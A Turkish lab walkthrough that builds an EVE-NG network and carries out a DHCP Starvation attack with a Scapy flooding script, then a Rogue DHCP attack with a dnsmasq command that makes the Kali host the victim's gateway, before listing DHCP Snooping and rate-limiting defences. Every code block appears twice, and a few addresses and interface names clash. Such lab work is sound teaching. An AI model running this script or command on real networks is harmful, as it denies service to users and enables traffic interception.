DHCP sunucuları istemcilere dağıtabilecekleri IP adreslerini belirli bir DHCP Pool içerisinden tahsis eder.
Örneğin DHCP sunucusunda:192.168.1.100–192.168.1.200 aralığında sınırlı sayıda IP adresinin istemcilere dağıtılabildiğini düşünelim.
DHCP Starvation saldırısında saldırgan, çok sayıda farklı istemci varmış gibi davranarak DHCP sunucusuna yoğun şekilde DHCP talepleri gönderir. Bu işlemlerde farklı kaynak MAC adresleri kullanılması, sunucunun talepleri farklı istemcilerden geliyormuş gibi değerlendirmesine neden olabilir.
Sonuç olarak DHCP havuzundaki kullanılabilir IP adresleri saldırgan tarafından tüketilmeye çalışılır:
Normal Durum:
DHCP Pool
├── 192.168.1.100 → Client-A
├── 192.168.1.101 → Client-B
├── 192.168.1.102 → Available
├── 192.168.1.103 → Available
└── ...
DHCP Starvation Saldırı Durumu:
DHCP Pool
├── 192.168.1.100 → Sahte Client
├── 192.168.1.101 → Sahte Client
├── 192.168.1.102 → Sahte Client
├── 192.168.1.103 → Sahte Client
└── ...
↓
Available IP kalmazNormal Durum:
DHCP Pool
├── 192.168.1.100 → Client-A
├── 192.168.1.101 → Client-B
├── 192.168.1.102 → Available
├── 192.168.1.103 → Available
└── ...
DHCP Starvation Saldırı Durumu:
DHCP Pool
├── 192.168.1.100 → Sahte Client
├── 192.168.1.101 → Sahte Client
├── 192.168.1.102 → Sahte Client
├── 192.168.1.103 → Sahte Client
└── ...
↓
Available IP kalmazHavuz tükendiğinde ağa yeni bağlanan meşru istemciler DHCP sunucusundan IP adresi alamayabilir. Bu nedenle DHCP Starvation saldırısı tek başına kullanıldığında bir hizmet engelleme (DoS) etkisi oluşturabilir.
Rogue DHCP Saldırısının Mantığı
Rogue DHCP saldırısında saldırgan, ağ içerisinde yetkisiz bir DHCP sunucusu çalıştırır.
Bir istemci ağa bağlanarak DHCP Discover mesajı gönderdiğinde bu mesaj broadcast olduğu için aynı broadcast domain içerisindeki meşru DHCP sunucusunun yanı sıra saldırganın Rogue DHCP sunucusu da isteği görebilir.
┌──► Meşru DHCP Server
Client ── DHCP Discover ─┤
└──► Rogue DHCP Server
(Attacker)┌──► Meşru DHCP Server
Client ── DHCP Discover ─┤
└──► Rogue DHCP Server
(Attacker)Saldırgan, istemciye kendi DHCP Offer mesajını göndererek kontrollü ağ yapılandırmaları sunabilir.
Örneğin saldırgan:
IP Address → Geçerli bir istemci IP'si
Subnet Mask → 255.255.255.0
Default Gateway → ATTACKER_IP
DNS Server → ATTACKER_CONTROLLED_DNSIP Address → Geçerli bir istemci IP'si
Subnet Mask → 255.255.255.0
Default Gateway → ATTACKER_IP
DNS Server → ATTACKER_CONTROLLED_DNSgibi manipüle edilmiş bilgiler dağıtabilir.
İstemci saldırganın DHCP teklifini kabul ederse ağ trafiğini saldırgan tarafından belirlenen Gateway veya DNS sunucusu üzerinden gerçekleştirmeye başlayabilir. Böylece Rogue DHCP, uygun koşullarda trafiğin yönlendirilmesi veya Man-in-the-Middle (MITM) saldırılarının hazırlanması amacıyla kullanılabilir.
DHCP Starvation ve Rogue DHCP Birlikte Nasıl Kullanılır?
İki saldırının birlikte kullanıldığı senaryoda saldırganın amacı önce meşru DHCP hizmetinin yeni istemcilere adres sağlayabilmesini zorlaştırmak, ardından kendi DHCP sunucusunun istemcilere cevap vermesini sağlamaktır.
İlk aşamada DHCP Starvation ile meşru DHCP sunucusunun adres havuzundaki kullanılabilir IP adresleri tüketilmeye çalışılır:
Attacker
│
│ Çok sayıda sahte DHCP isteği
▼
Legitimate DHCP Server
│
▼
DHCP Pool tükenirAttacker
│
│ Çok sayıda sahte DHCP isteği
▼
Legitimate DHCP Server
│
▼
DHCP Pool tükenirArdından saldırgan ağ üzerinde Rogue DHCP Server çalıştırır:
Yeni İstemci
│
│ DHCP Discover
▼
──────────────────────────────
│
├──► Meşru DHCP
│ └── Kullanılabilir IP yok
│
└──► Rogue DHCP
│
└── DHCP Offer
│
▼
Yeni İstemciYeni İstemci
│
│ DHCP Discover
▼
──────────────────────────────
│
├──► Meşru DHCP
│ └── Kullanılabilir IP yok
│
└──► Rogue DHCP
│
└── DHCP Offer
│
▼
Yeni İstemciYeni bir istemci DHCP üzerinden ağ yapılandırması istediğinde meşru DHCP sunucusundan uygun bir adres alamazken saldırganın DHCP sunucusu istemciye cevap verebilir.
İstemci saldırganın teklifini kabul ettiğinde saldırgan tarafından belirlenen Default Gateway, DNS veya diğer DHCP seçeneklerini kullanmaya başlayabilir.
Bu nedenle saldırı zinciri özetle:
DHCP Starvation
↓
Meşru DHCP havuzunun tüketilmesi
↓
Rogue DHCP Server
↓
İstemciye sahte ağ yapılandırmasının verilmesi
↓
Trafiğin saldırganın belirlediği altyapıya yönlendirilmesiDHCP Starvation
↓
Meşru DHCP havuzunun tüketilmesi
↓
Rogue DHCP Server
↓
İstemciye sahte ağ yapılandırmasının verilmesi
↓
Trafiğin saldırganın belirlediği altyapıya yönlendirilmesişeklinde gerçekleşebilir.
Bu saldırıların temelinde, yerel ağdaki DHCP mesajlarının güvenilir ve yetkili bir kaynaktan gelip gelmediğinin varsayılan olarak doğrulanmaması bulunmaktadır. Switch seviyesinde DHCP Snooping gibi güvenlik mekanizmalarının kullanılmaması durumunda saldırganın gönderdiği DHCP mesajları meşru DHCP trafiğiyle aynı Layer 2 ortamında yayılabilir.
Laboratuvar Topolojisi
Not: Laboratuvar ortamındaki cihazların internet erişiminin sağlanabilmesi amacıyla Router'ın
Gi0/1arayüzü EVE-NG üzerindeki Management (Cloud0) ağına bağlanmıştır. Victim ve Kali Linux makineleri ise internet erişimini192.168.1.1adresindeki Router üzerinden gerçekleştirecektir.
Not: Yapılandırmalar, laboratuvarın gereksiz detaylarla uzamaması amacıyla yalnızca ARP Spoofing saldırısı için gerekli komutları içermektedir. Temel yönetim ve güvenlik yapılandırmaları (VTY, SSH, kullanıcı hesapları vb.) bilinçli olarak eklenmemiştir.
Not: DHCP Server için bir router cihazı kullanılmış sadece görsel olarak değişiklik söz konusudur
1.R1 / Gateway Router konfigürasyonu:
! Ayrıcalıklı (Privileged) moda geçiyoruz.
enable
! Global Configuration moduna geçiyoruz.
configure terminal
! LAN tarafındaki, Switch-1'e bağlı arayüze giriyoruz.
interface GigabitEthernet0/0
! Router'ın LAN tarafındaki IP adresini tanımlıyoruz.
ip address 192.168.1.1 255.255.255.0
! Bu arayüzü NAT için iç ağ olarak tanımlıyoruz.
ip nat inside
! Arayüzü aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! Management (Cloud0) ağına bağlı arayüze giriyoruz.
interface GigabitEthernet0/1
! Cloud0 üzerinden DHCP ile IP adresi almasını sağlıyoruz.
ip address dhcp
! Bu arayüzü NAT için dış ağ olarak tanımlıyoruz.
ip nat outside
! Arayüzü aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! 192.168.1.0/24 ağını NAT işlemi için tanımlıyoruz.
access-list 1 permit 192.168.1.0 0.0.0.255
! İç ağdaki cihazların Gi0/1 üzerinden PAT ile internete çıkmasını sağlıyoruz.
ip nat inside source list 1 interface GigabitEthernet0/1 overload
! Global Configuration modundan çıkıyoruz.
end
! Yapılandırmayı kaydediyoruz.
write memory
!GigabitEthernet0/1 karşısında DHCP kontrolü
show ip interface brief
-Interface IP-Address OK? Method Status Protocol
-GigabitEthernet0/0 192.168.1.1 YES manual up up
-GigabitEthernet0/1 192.168.100.136 YES DHCP up up
! Router'ın gerçek MAC adresini doğrula
show interfaces GigabitEthernet0/0
- Hardware is iGbE, address is 5000.0005.0000 (bia 5000.0001.0000)
- Internet address is 192.168.1.1/24
!default route (0.0.0.0/0) olup olmadığına bak.
show ip route
-Gateway of last resort is 192.168.100.2 to network 0.0.0.0
-S* 0.0.0.0/0 [254/0] via 192.168.100.2
- 192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks
-C 192.168.1.0/24 is directly connected, GigabitEthernet0/0
-L 192.168.1.1/32 is directly connected, GigabitEthernet0/0
- 192.168.100.0/24 is variably subnetted, 2 subnets, 2 masks
-C 192.168.100.0/24 is directly connected, GigabitEthernet0/1
-L 192.168.100.134/32 is directly connected, GigabitEthernet0/1
! Router'ın internet erişimini kontrol ediyoruz.
ping 8.8.8.8
-Success rate is 100 percent (5/5), round-trip min/avg/max = 78/97/102 ms! Ayrıcalıklı (Privileged) moda geçiyoruz.
enable
! Global Configuration moduna geçiyoruz.
configure terminal
! LAN tarafındaki, Switch-1'e bağlı arayüze giriyoruz.
interface GigabitEthernet0/0
! Router'ın LAN tarafındaki IP adresini tanımlıyoruz.
ip address 192.168.1.1 255.255.255.0
! Bu arayüzü NAT için iç ağ olarak tanımlıyoruz.
ip nat inside
! Arayüzü aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! Management (Cloud0) ağına bağlı arayüze giriyoruz.
interface GigabitEthernet0/1
! Cloud0 üzerinden DHCP ile IP adresi almasını sağlıyoruz.
ip address dhcp
! Bu arayüzü NAT için dış ağ olarak tanımlıyoruz.
ip nat outside
! Arayüzü aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! 192.168.1.0/24 ağını NAT işlemi için tanımlıyoruz.
access-list 1 permit 192.168.1.0 0.0.0.255
! İç ağdaki cihazların Gi0/1 üzerinden PAT ile internete çıkmasını sağlıyoruz.
ip nat inside source list 1 interface GigabitEthernet0/1 overload
! Global Configuration modundan çıkıyoruz.
end
! Yapılandırmayı kaydediyoruz.
write memory
!GigabitEthernet0/1 karşısında DHCP kontrolü
show ip interface brief
-Interface IP-Address OK? Method Status Protocol
-GigabitEthernet0/0 192.168.1.1 YES manual up up
-GigabitEthernet0/1 192.168.100.136 YES DHCP up up
! Router'ın gerçek MAC adresini doğrula
show interfaces GigabitEthernet0/0
- Hardware is iGbE, address is 5000.0005.0000 (bia 5000.0001.0000)
- Internet address is 192.168.1.1/24
!default route (0.0.0.0/0) olup olmadığına bak.
show ip route
-Gateway of last resort is 192.168.100.2 to network 0.0.0.0
-S* 0.0.0.0/0 [254/0] via 192.168.100.2
- 192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks
-C 192.168.1.0/24 is directly connected, GigabitEthernet0/0
-L 192.168.1.1/32 is directly connected, GigabitEthernet0/0
- 192.168.100.0/24 is variably subnetted, 2 subnets, 2 masks
-C 192.168.100.0/24 is directly connected, GigabitEthernet0/1
-L 192.168.100.134/32 is directly connected, GigabitEthernet0/1
! Router'ın internet erişimini kontrol ediyoruz.
ping 8.8.8.8
-Success rate is 100 percent (5/5), round-trip min/avg/max = 78/97/102 ms2. R2 / DHCP Server konfigürasyonu:
! Ayrıcalıklı (Privileged) moda geçiyoruz.
enable
! Global Configuration moduna geçiyoruz.
configure terminal
! Router'ın hostname bilgisini DHCP-SERVER olarak değiştiriyoruz.
hostname DHCP-SERVER
! SW1'e bağlı arayüze giriyoruz.
interface GigabitEthernet0/3
! DHCP Server'ın statik IP adresini tanımlıyoruz.
ip address 192.168.1.2 255.255.255.0
! Arayüzü aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! 192.168.1.1 ile 192.168.1.99 arasındaki adreslerin
! DHCP tarafından dağıtılmasını engelliyoruz.
ip dhcp excluded-address 192.168.1.1 192.168.1.99
! 192.168.1.151 ile 192.168.1.254 arasındaki adreslerin
! DHCP tarafından dağıtılmasını engelliyoruz.
ip dhcp excluded-address 192.168.1.151 192.168.1.254
! DHCP havuzunu oluşturuyoruz.
ip dhcp pool LAN-POOL
! DHCP tarafından IP dağıtılacak ağı tanımlıyoruz.
network 192.168.1.0 255.255.255.0
! İstemcilere gerçek Default Gateway olarak R1'in adresini dağıtıyoruz.
default-router 192.168.1.1
! İstemcilere DNS sunucusu olarak Google DNS adresini dağıtıyoruz.
dns-server 8.8.8.8
! DHCP kira süresini 1 gün olarak belirliyoruz.
lease 1
! DHCP Pool Configuration modundan çıkıyoruz.
exit
! Global Configuration modundan çıkıyoruz.
end
! Yapılandırmayı kaydediyoruz.
write memory
! Oluşturulan DHCP havuzunu ve kullanım durumunu görüntülüyoruz.
show ip dhcp pool
! DHCP tarafından istemcilere tahsis edilmiş adresleri görüntülüyoruz.
show ip dhcp binding
! DHCP Server üzerindeki yapılandırmayı kontrol ediyoruz.
show running-config | section dhcp
! DHCP Server'ın R1'e erişebildiğini doğruluyoruz.
ping 192.168.1.1! Ayrıcalıklı (Privileged) moda geçiyoruz.
enable
! Global Configuration moduna geçiyoruz.
configure terminal
! Router'ın hostname bilgisini DHCP-SERVER olarak değiştiriyoruz.
hostname DHCP-SERVER
! SW1'e bağlı arayüze giriyoruz.
interface GigabitEthernet0/3
! DHCP Server'ın statik IP adresini tanımlıyoruz.
ip address 192.168.1.2 255.255.255.0
! Arayüzü aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! 192.168.1.1 ile 192.168.1.99 arasındaki adreslerin
! DHCP tarafından dağıtılmasını engelliyoruz.
ip dhcp excluded-address 192.168.1.1 192.168.1.99
! 192.168.1.151 ile 192.168.1.254 arasındaki adreslerin
! DHCP tarafından dağıtılmasını engelliyoruz.
ip dhcp excluded-address 192.168.1.151 192.168.1.254
! DHCP havuzunu oluşturuyoruz.
ip dhcp pool LAN-POOL
! DHCP tarafından IP dağıtılacak ağı tanımlıyoruz.
network 192.168.1.0 255.255.255.0
! İstemcilere gerçek Default Gateway olarak R1'in adresini dağıtıyoruz.
default-router 192.168.1.1
! İstemcilere DNS sunucusu olarak Google DNS adresini dağıtıyoruz.
dns-server 8.8.8.8
! DHCP kira süresini 1 gün olarak belirliyoruz.
lease 1
! DHCP Pool Configuration modundan çıkıyoruz.
exit
! Global Configuration modundan çıkıyoruz.
end
! Yapılandırmayı kaydediyoruz.
write memory
! Oluşturulan DHCP havuzunu ve kullanım durumunu görüntülüyoruz.
show ip dhcp pool
! DHCP tarafından istemcilere tahsis edilmiş adresleri görüntülüyoruz.
show ip dhcp binding
! DHCP Server üzerindeki yapılandırmayı kontrol ediyoruz.
show running-config | section dhcp
! DHCP Server'ın R1'e erişebildiğini doğruluyoruz.
ping 192.168.1.13.SW1 konfigürasyonu:
! Ayrıcalıklı (Privileged) moda geçiyoruz.
enable
! Global Configuration moduna geçiyoruz.
configure terminal
! Switch'in hostname bilgisini SW1 olarak değiştiriyoruz.
hostname SW1
! Laboratuvarda kullanılan tüm switch portlarını aynı anda seçiyoruz.
interface range GigabitEthernet0/0 - 3
! Portları Layer 2 Access Port olarak yapılandırıyoruz.
switchport mode access
! Tüm portları VLAN 1 içerisine atıyoruz.
switchport access vlan 1
! Portları aktif hale getiriyoruz.
no shutdown
! Interface Range Configuration modundan çıkıyoruz.
exit
! Global Configuration modundan çıkıyoruz.
end
! Yapılandırmayı kaydediyoruz.
write memory
! Switch üzerindeki portların durumlarını kontrol ediyoruz.
show interfaces status
! Portların VLAN 1 içerisinde olduğunu doğruluyoruz.
show vlan brief
! Switch'in öğrendiği MAC adreslerini görüntülüyoruz.
show mac address-table! Ayrıcalıklı (Privileged) moda geçiyoruz.
enable
! Global Configuration moduna geçiyoruz.
configure terminal
! Switch'in hostname bilgisini SW1 olarak değiştiriyoruz.
hostname SW1
! Laboratuvarda kullanılan tüm switch portlarını aynı anda seçiyoruz.
interface range GigabitEthernet0/0 - 3
! Portları Layer 2 Access Port olarak yapılandırıyoruz.
switchport mode access
! Tüm portları VLAN 1 içerisine atıyoruz.
switchport access vlan 1
! Portları aktif hale getiriyoruz.
no shutdown
! Interface Range Configuration modundan çıkıyoruz.
exit
! Global Configuration modundan çıkıyoruz.
end
! Yapılandırmayı kaydediyoruz.
write memory
! Switch üzerindeki portların durumlarını kontrol ediyoruz.
show interfaces status
! Portların VLAN 1 içerisinde olduğunu doğruluyoruz.
show vlan brief
! Switch'in öğrendiği MAC adreslerini görüntülüyoruz.
show mac address-table4. PC Konfigürasyonları
---Victim-PC Yapılandırması---
-PC'ye şimdilik ip vermiyoruz bu cihazı DHCP Starvation ve Rogue DHCP
- Saldırısının Gerçekleştirilmesinden sonra yeni cihaz gibi düşebiliriz
! Client'ın IP adresi, subnet mask ve default gateway bilgisini görüntülüyoruz.
show ip
-NAME : VPCS[1]
-IP/MASK : 0.0.0.0/0
-GATEWAY : 0.0.0.0
-DNS :
-MAC : 00:50:79:66:68:04
-LPORT : 20000
-RHOST:PORT : 127.0.0.1:30000
-MTU : 1500
---Kali Linux Yapılandırması---
- Kali kendi kendine direkt DHCP Server üzerinden İP'sini almış olacaktır
! Kali üzerindeki ağ arayüzlerini ve alınan IP adreslerini görüntülüyoruz.
ip addr
! DHCP üzerinden alınan Default Gateway bilgisini kontrol ediyoruz.
ip route
! Gerçek Default Gateway'e erişimi kontrol ediyoruz.
ping -c 4 192.168.1.1
! Meşru DHCP Server'a erişimi kontrol ediyoruz.
ping -c 4 192.168.1.2
! İnternet erişimini kontrol ediyoruz.
ping -c 4 8.8.8.8---Victim-PC Yapılandırması---
-PC'ye şimdilik ip vermiyoruz bu cihazı DHCP Starvation ve Rogue DHCP
- Saldırısının Gerçekleştirilmesinden sonra yeni cihaz gibi düşebiliriz
! Client'ın IP adresi, subnet mask ve default gateway bilgisini görüntülüyoruz.
show ip
-NAME : VPCS[1]
-IP/MASK : 0.0.0.0/0
-GATEWAY : 0.0.0.0
-DNS :
-MAC : 00:50:79:66:68:04
-LPORT : 20000
-RHOST:PORT : 127.0.0.1:30000
-MTU : 1500
---Kali Linux Yapılandırması---
- Kali kendi kendine direkt DHCP Server üzerinden İP'sini almış olacaktır
! Kali üzerindeki ağ arayüzlerini ve alınan IP adreslerini görüntülüyoruz.
ip addr
! DHCP üzerinden alınan Default Gateway bilgisini kontrol ediyoruz.
ip route
! Gerçek Default Gateway'e erişimi kontrol ediyoruz.
ping -c 4 192.168.1.1
! Meşru DHCP Server'a erişimi kontrol ediyoruz.
ping -c 4 192.168.1.2
! İnternet erişimini kontrol ediyoruz.
ping -c 4 8.8.8.8DHCP Starvation ve Rogue DHCP Saldırısının Gerçekleştirilmesi
Laboratuvar ortamı kurulduktan, meşru DHCP sunucusunun yapılandırılması tamamlandıktan ve istemcilerin DHCP üzerinden doğru ağ yapılandırmalarını alabildiği doğrulandıktan sonra saldırının uygulama aşamasına geçebiliriz. Bu aşamada Kali Linux saldırgan makine olarak kullanılacak ve saldırı iki temel adım üzerinden gerçekleştirilecektir.
İlk aşamada DHCP Starvation saldırısı uygulanacaktır. Kali Linux üzerinden çok sayıda sahte DHCP istemcisi oluşturularak meşru DHCP sunucusuna yoğun şekilde DHCP talepleri gönderilecektir. Farklı istemci kimlikleri ve MAC adresleri kullanılarak oluşturulan bu talepler sonucunda DHCP sunucusunun 192.168.1.100 - 192.168.1.150 aralığındaki adres havuzunun tüketilmesi hedeflenecektir. Havuzdaki kullanılabilir adreslerin tükenmesiyle birlikte ağa sonradan bağlanan meşru istemcilerin DHCP sunucusundan IP adresi alamadığı gözlemlenecektir.
İkinci aşamada Kali Linux üzerinde yetkisiz bir Rogue DHCP Server devreye alınacaktır. Rogue DHCP sunucusu, istemcilerden gelen DHCP Discover mesajlarına cevap vererek saldırgan tarafından belirlenen ağ yapılandırmalarını dağıtacaktır. Bu senaryoda istemcilere geçerli bir IP yapılandırmasının yanı sıra saldırgan tarafından kontrol edilen veya belirlenen Default Gateway ve DNS Server bilgileri sunulacaktır.
DHCP Starvation sonucunda meşru DHCP sunucusunun yeni istemcilere adres tahsis edemediği durumda, Rogue DHCP sunucusunun gönderdiği tekliflerin istemciler tarafından kabul edilmesi hedeflenecektir. Saldırının başarılı olması durumunda istemci, ağ yöneticisi tarafından belirlenen meşru DHCP yapılandırması yerine saldırgan tarafından sağlanan ağ parametrelerini kullanmaya başlayacaktır.
Böylece DHCP Starvation saldırısıyla oluşturulan hizmet engelleme etkisi, Rogue DHCP saldırısıyla birleştirilerek istemcilerin ağ yapılandırmalarının manipüle edilebildiği bir saldırı senaryosu oluşturulacaktır. Özellikle Default Gateway veya DNS bilgilerinin saldırgan tarafından kontrol edilen sistemlere yönlendirilmesi, uygun koşullar altında trafiğin saldırgan üzerinden geçirilmesine ve sonraki aşamalarda Man-in-the-Middle (MitM) saldırılarının gerçekleştirilmesine zemin hazırlayabilir.
Not: Not (Wireshark Analizi ve EVE-NG İpucu):
Saldırının ağ üzerindeki etkisini ve paket paket davranışını canlı olarak analiz edebilmek için Wireshark aracını kali-Switch arasındaki hattı (
e0arayüzü) çalıştırmamız gerekmektedir.
EVE-NG arayüzünde kali üzerine sağ tıklayıp capture tıkladığınızda bilgisayarınızdaki Wireshark otomatik olarak başlatılacaktır. Wireshark açıldıktan sonra üst kısımdaki filtre alanına
arpyazarak sadece arp isteklerini görebiliriz. Eğer Windows ortamında SSH Plink Key uyuşmazlık hatası (WARNING - POTENTIAL SECURITY BREACH!) alırsanız, Windows CMD (Komut İstemi) ekranını açıp aşağıdaki komutu çalıştırarak SSH anahtarını onaylayabilirsiniz:
!EVE-NG SSH Plink anahtarını Windows üzerinde onaylamak için CMD'de çalıştırın:
"C:\Program Files\EVE-NG\plink.exe" -ssh -pw eve root@192.168.100.100!EVE-NG SSH Plink anahtarını Windows üzerinde onaylamak için CMD'de çalıştırın:
"C:\Program Files\EVE-NG\plink.exe" -ssh -pw eve root@192.168.100.100DHCP Starvation Saldırısı
Adım 1: DHCP Starvation saldırısını gerçekleştirmek için "nano starvation.py" ile bir dosya oluşturup için aşağıdaki python scriptini yazalım.
from scapy.all import *
import time
def dhcp_starvation():
conf.checkIPaddr = False
print("[*] DHCP Starvation saldırısı e0 arayüzünde başlatılıyor...")
try:
while True:
# MAC adresini string formatına çeviriyoruz
fake_mac_str = str(RandMAC())
# Rastgele Transaction ID oluşturuyoruz
random_xid = RandInt()
ethernet = Ether(src=fake_mac_str, dst="ff:ff:ff:ff:ff:ff")
ip = IP(src="0.0.0.0", dst="255.255.255.255")
udp = UDP(sport=68, dport=67)
# Düzeltilmiş BOOTP katmanı
bootp = BOOTP(chaddr=mac2str(fake_mac_str), xid=random_xid)
dhcp = DHCP(options=[("message-type", "discover"), "end"])
packet = ethernet / ip / udp / bootp / dhcp
sendp(packet, iface="e0", verbose=0)
time.sleep(0.1)
except KeyboardInterrupt:
print("\n[!] Saldırı durduruldu.")
if __name__ == "__main__":
dhcp_starvation()from scapy.all import *
import time
def dhcp_starvation():
conf.checkIPaddr = False
print("[*] DHCP Starvation saldırısı e0 arayüzünde başlatılıyor...")
try:
while True:
# MAC adresini string formatına çeviriyoruz
fake_mac_str = str(RandMAC())
# Rastgele Transaction ID oluşturuyoruz
random_xid = RandInt()
ethernet = Ether(src=fake_mac_str, dst="ff:ff:ff:ff:ff:ff")
ip = IP(src="0.0.0.0", dst="255.255.255.255")
udp = UDP(sport=68, dport=67)
# Düzeltilmiş BOOTP katmanı
bootp = BOOTP(chaddr=mac2str(fake_mac_str), xid=random_xid)
dhcp = DHCP(options=[("message-type", "discover"), "end"])
packet = ethernet / ip / udp / bootp / dhcp
sendp(packet, iface="e0", verbose=0)
time.sleep(0.1)
except KeyboardInterrupt:
print("\n[!] Saldırı durduruldu.")
if __name__ == "__main__":
dhcp_starvation()Adım 2: "sudo python3 starvation.py" saldırıyı başlatalım
DHCP Starvation Saldırı Öncesi ve Sonrası Analizi
Saldırı öncesinde DHCP Server üzerinde show ip dhcp binding ve show ip dhcp pool çıktılarını incelediğimizde, havuzdan yalnızca 2 adet IP adresinin (192.168.1.100 ve 192.168.1.101) meşru cihazlara tahsis edildiğini ve havuzun müsait durumda olduğunu gördük. Wireshark üzerinde ise yalnızca standart Layer 2 ağ trafiğinin (STP, CDP) aktığını, herhangi bir DHCP anormalliği olmadığını gözlemledik.
Python betiğimiz ile DHCP Starvation işlemini başlattıktan sonra, Wireshark üzerinde çok sayıda sahte DHCP Discover paketi gönderildiğini ve sunucunun bunlara DHCP Offer paketleriyle yanıt vermeye çalıştığını gördük. Saldırı sonrasında DHCP Server'ın tablolarını tekrar kontrol ettiğimizde, kiralama listesinin betiğin ürettiği rastgele MAC adresleriyle dolduğunu ve sınırlandırdığımız havuzdaki 51 IP adresinin tamamının tahsis edilerek kapasitenin %100 oranında tüketildiğini gözlemledik.
Mevcut cihazların bağlantısı devam etse de havuzun tamamen tükenmiş olması, ağa yeni katılacak cihazların DHCP üzerinden IP adresi alamayacağını göstermektedir. Bu değişiklikler, meşru DHCP sunucusunun başarılı bir şekilde hizmet dışı (DoS) bırakıldığını ve kurbanlara sahte ağ yapılandırmaları dağıtacağımız Rogue DHCP saldırısı için uygun ortamın hazırlandığını doğrulamaktadır.
Rogue DHCP Saldırısı
Adım 1: Öncelikle Kali'nin eth0 arayüzündeki IP adresini "ip -4 addr show e0" komutu ile not almalıyız , çünkü kurbana Default Gateway ve DNS olarak bu IP'yi atayacağız ardından Kurbanın ağ trafiği Kali'ye yönlendiğinde (ileride MITM yapabilmek için), paketlerin Kali üzerinde takılıp kalmaması ve gerçek Router'a iletilebilmesi için IP yönlendirmeyi aktif etmeliyiz. Bunun için "sudo sysctl -w net.ipv4.ip_forward=1" komutunu çalıştırıyoruz.
Adım 2: Aşağıdaki komut ile Kali Linux üzerindeki eth0 arayüzünde dnsmasq aracını ön planda çalıştırarak, ağa yeni bağlanan cihazlara 192.168.1.200-210 aralığından IP adresi dağıtan yetkisiz bir Rogue DHCP sunucusu ayağa kaldırıyoruz. Kurbanın yerel ağ dışına çıkacak tüm trafiğini kendi üzerimize çekmek amacıyla, sahte yapılandırma teklifine Default Gateway (Option 3) olarak doğrudan Kali makinemizin IP adresini (192.168.1.100) ekliyoruz.
sudo dnsmasq --interface=eth0 --dhcp-range=192.168.1.200,192.168.1.210,12h --dhcp-option=3,192.168.1.100 -dsudo dnsmasq --interface=eth0 --dhcp-range=192.168.1.200,192.168.1.210,12h --dhcp-option=3,192.168.1.100 -dRogue DHCP Saldırısı Öncesi ve Sonrası Analizi
Saldırı öncesinde ağa yeni dahil edilen VictimPC üzerinde ip dhcp komutunu çalıştırdığımızda, cihazın ardışık olarak DHCP Discover (DDD) mesajları yayınladığı ancak meşru sunucudan yanıt alamayarak Can't find dhcp server hatası döndürdüğü görülmüştür. Bu durum, bir önceki adımda gerçekleştirdiğimiz DHCP Starvation saldırısının hedefine ulaştığını ve ağda istemcilere hizmet verebilecek meşru bir DHCP sunucusunun kalmadığını kanıtlamaktadır.
Kali Linux üzerinde dnsmasq aracı ile Rogue DHCP sunucusunu devreye aldıktan sonra, VictimPC üzerinden yeniden IP alma talebinde bulunduk. Çıktıyı incelediğimizde, cihazın DORA sürecini başarıyla tamamlayarak sahte sunucumuzun havuzundan 192.168.1.209 IP adresini tahsis ettiğini gözlemledik. Saldırı sonrasında VictimPC'nin ağ yapılandırmasını (show ip) tekrar kontrol ettiğimizde, Default Gateway ve DNS Server bilgilerinin sahte DHCP sunucumuz tarafından manipüle edilerek Kali Linux'un IP adresi olan 192.168.1.100 ile değiştirildiğini tespit ettik.
Bu değişiklikler, Rogue DHCP saldırısının başarıyla gerçekleştirildiğini ve kurban cihazın yerel ağ dışına (internete veya farklı alt ağlara) yapacağı tüm trafik yönlendirmelerinin saldırgan makine üzerinden geçeceğini doğrulamaktadır. Artık kurban ile gerçek Gateway arasına Man-in-the-Middle (MITM) olarak konumlanılmış durumdayız.
Savunma ve Alınabilecek Önlemler
DHCP Starvation ve Rogue DHCP saldırılarına karşı alınabilecek en önemli önlemler; DHCP Snooping, DHCP Rate Limiting ve Port Security mekanizmalarının kullanılmasıdır. Bu güvenlik mekanizmaları özellikle istemcilerin bağlı olduğu access portlarında uygulanmalıdır.
1. DHCP Snooping Kullanılması
DHCP Snooping, ağ üzerindeki DHCP mesajlarını denetleyerek yalnızca güvenilir portlardan DHCP sunucusu mesajlarının gelmesine izin verir. Böylece saldırganın kendi cihazında sahte bir DHCP sunucusu çalıştırarak istemcilere IP adresi, varsayılan ağ geçidi veya DNS bilgisi dağıtması engellenebilir.
Cisco switch üzerinde öncelikle DHCP Snooping global olarak etkinleştirilir ve korunacak VLAN belirtilir:
SW1(config)# ip dhcp snooping
SW1(config)# ip dhcp snooping vlan 10SW1(config)# ip dhcp snooping
SW1(config)# ip dhcp snooping vlan 10Gerçek DHCP sunucusuna veya DHCP sunucusuna ulaşan güvenilir uplink porta trusted özelliği verilmelidir:
SW1(config)# interface GigabitEthernet0/0
SW1(config-if)# ip dhcp snooping trustSW1(config)# interface GigabitEthernet0/0
SW1(config-if)# ip dhcp snooping trustİstemcilerin bağlı olduğu access portları ise trusted yapılmamalıdır. Bu portlar varsayılan olarak untrusted durumdadır.
Örneğin saldırganın veya normal bir istemcinin bağlanabileceği Gi0/1 portunda ip dhcp snooping trust kullanılmaz:
SW1(config)# interface GigabitEthernet0/1
SW1(config-if)# switchport mode access
SW1(config-if)# switchport access vlan 10SW1(config)# interface GigabitEthernet0/1
SW1(config-if)# switchport mode access
SW1(config-if)# switchport access vlan 10Bu yapılandırma sayesinde istemci portundan gelen DHCP Offer ve DHCP ACK gibi DHCP sunucusuna ait mesajlar switch tarafından engellenir. Böylece Rogue DHCP saldırısına karşı koruma sağlanır.
2. DHCP Rate Limiting Kullanılması
DHCP Starvation saldırısında saldırgan çok sayıda DHCP isteği göndererek DHCP sunucusunun IP adres havuzunu tüketmeye çalışır.
DHCP Snooping ile birlikte istemci portlarına DHCP mesaj sınırı uygulanabilir:
SW1(config)# interface GigabitEthernet0/1
SW1(config-if)# ip dhcp snooping limit rate 15SW1(config)# interface GigabitEthernet0/1
